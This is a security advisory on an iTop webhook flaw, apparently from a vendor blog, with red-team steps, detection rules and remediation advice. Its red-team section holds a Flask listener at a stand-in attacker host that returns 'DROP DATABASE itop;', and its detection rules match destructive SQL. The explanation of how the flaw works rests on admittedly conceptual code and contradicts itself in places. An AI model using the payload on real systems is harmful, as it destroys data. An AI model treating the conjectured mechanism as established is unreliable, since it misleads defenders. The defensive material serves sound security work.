CVE-2025-49145

Executive Summary

CVE-2025-49145 is a critical vulnerability in Combodo iTop, a web-based IT service management tool. The flaw allows a user with sufficient privileges (primarily administrators) to drop the entire database by abusing the webhook creation functionality. The root cause is a missing authentication check on the callback signature, enabling an authenticated high-privilege attacker to execute destructive SQL operations. The CVSS score is 8.7 (High), and while the EPSS score is currently 0.0%, the potential for severe data loss makes immediate patching critical. Patches are available in iTop versions 2.7.13 and 3.2.2.

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a direct web application vulnerability in the Combodo iTop PHP application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H
• Base Score: 8.7 (High)
• Attack Vector (AV): Network (N) - The attack can be carried out remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): High (H) - The attacker must have administrator-level privileges to create webhooks.
• User Interaction (UI): None (N) - No user action is required beyond the attacker's own actions.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): None (N) - The primary impact is not data disclosure.
• Integrity (I): High (H) - The attacker can modify or destroy data.
• Availability (A): High (H) - Dropping the database causes a complete denial of service.

Threat Level: High. While the attack requires high privileges, the impact is catastrophic (complete database loss). An attacker who compromises an admin account can instantly destroy the entire iTop instance.

Deep Dive & Mechanics

The vulnerability resides in the webhook callback handling mechanism. In iTop, webhooks are used to trigger external actions based on internal events. When a webhook is created, a callback URL is specified. The vulnerable code does not properly verify the authenticity of the callback response.

Attack Flow:

1. An attacker with administrator privileges logs into iTop.
2. The attacker creates a new webhook, specifying a malicious callback URL that they control.
3. When the webhook is triggered (e.g., by a ticket update), iTop sends a request to the attacker's callback URL.
4. The attacker's server responds with a crafted payload that includes SQL injection commands or direct database manipulation instructions.
5. Because the callback signature is not verified, iTop trusts the response and executes the malicious SQL, dropping the database.

The fix in versions 2.7.13 and 3.2.2 adds verification of the callback signature, ensuring that only responses from trusted sources are processed.

Vulnerable vs. Patched Code

The exact code changes are not publicly available, but the conceptual difference is:

Vulnerable Code (Conceptual):

// No signature verification
function handleWebhookCallback($response) {
    $sql = $response['sql'];
    $this->executeSQL($sql);
}

Patched Code (Conceptual):

// Signature verification added
function handleWebhookCallback($response, $signature) {
    if (!verifySignature($response, $signature, $this->secret)) {
        throw new Exception("Invalid callback signature");
    }
    $sql = $response['sql'];
    $this->executeSQL($sql);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Administrator credentials for the iTop instance.
• A publicly accessible server to receive the webhook callback.

Steps:

1. Log in to iTop as an administrator.
2. Navigate to the webhook configuration (Admin Tools > Webhooks).
3. Create a new webhook with the following parameters:
   • Name: Malicious Webhook
   • Trigger: Any event (e.g., Ticket Creation)
   • Callback URL: http://attacker-server.com/callback
4. On the attacker server, set up a listener that responds with a malicious payload:

   from flask import Flask, request, jsonify
   app = Flask(__name__)
   
   @app.route('/callback', methods=['POST'])
   def callback():
       # Malicious SQL to drop the database
       malicious_response = {
           "sql": "DROP DATABASE itop;"
       }
       return jsonify(malicious_response)
   
   if __name__ == '__main__':
       app.run(host='0.0.0.0', port=80)
   

5. Trigger the webhook event (e.g., create a new ticket).
6. iTop sends a request to the attacker server, receives the malicious SQL, and executes it, dropping the database.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual webhook creation events by non-admin users (though this requires admin privileges).
• Monitor for webhook callbacks to external, untrusted IP addresses.
• Monitor database logs for DROP DATABASE or DROP TABLE commands executed outside of maintenance windows.
• Monitor for sudden, complete loss of database connectivity.

Defense:

• Immediately apply the patch to iTop 2.7.13 or 3.2.2.
• Restrict administrator access to only essential personnel.
• Implement network segmentation to limit outbound connections from the iTop server.
• Use a Web Application Firewall (WAF) to block suspicious SQL commands in webhook responses.
• Enable database auditing to log all destructive operations.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests from the iTop server to unknown external IP addresses on port 80/443.
  • Unusual callback URLs in webhook configurations (e.g., IP addresses instead of domain names).
• System:
  • Sudden database unavailability.
  • Error logs showing "Table 'itop.xxx' doesn't exist" for all tables.
  • Webhook configuration changes made by unexpected users.
• Logs:
  • Database logs showing DROP DATABASE or DROP TABLE commands.
  • iTop application logs showing webhook callback processing with unexpected responses.

Detection Engineering

YARA Rule

rule CVE_2025_49145_iTop_Webhook_DropDB {
    meta:
        description = "Detects potential exploitation of CVE-2025-49145 in iTop webhook callback"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49145"
    strings:
        $sql_drop = /DROP\s+(DATABASE|TABLE|SCHEMA)\s+/i nocase
        $webhook_callback = "webhook" nocase
        $callback_url = "callback_url" nocase
    condition:
        all of ($sql_drop, $webhook_callback, $callback_url)
}

Sigma Rule

title: CVE-2025-49145 - iTop Webhook Database Drop
id: 8a7b3c2d-1e5f-4a6b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of CVE-2025-49145 via webhook callback
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: itop
detection:
    selection:
        EventID: "WebhookCallback"
        ResponseBody|contains: "DROP DATABASE"
    condition: selection
falsepositives:
    - Legitimate database maintenance scripts
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49145 - iTop Webhook Callback to External IP"; flow:to_server,established; content:"POST"; http_method; content:"/callback"; http_uri; content:"iTop"; http_user_agent; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade iTop to version 2.7.13 or 3.2.2 immediately.
2. Verify: After patching, verify that all webhook callbacks are now signed and verified.
3. Audit: Review all existing webhook configurations for suspicious callback URLs.

Long-Term Mitigations:

• Implement the principle of least privilege for all iTop users.
• Enable multi-factor authentication (MFA) for all administrator accounts.
• Regularly audit webhook configurations and callback URLs.
• Implement network segmentation to restrict outbound connections from the iTop server.
• Use a Web Application Firewall (WAF) to inspect and block malicious SQL commands.
• Maintain regular database backups and test restoration procedures.

Valters IT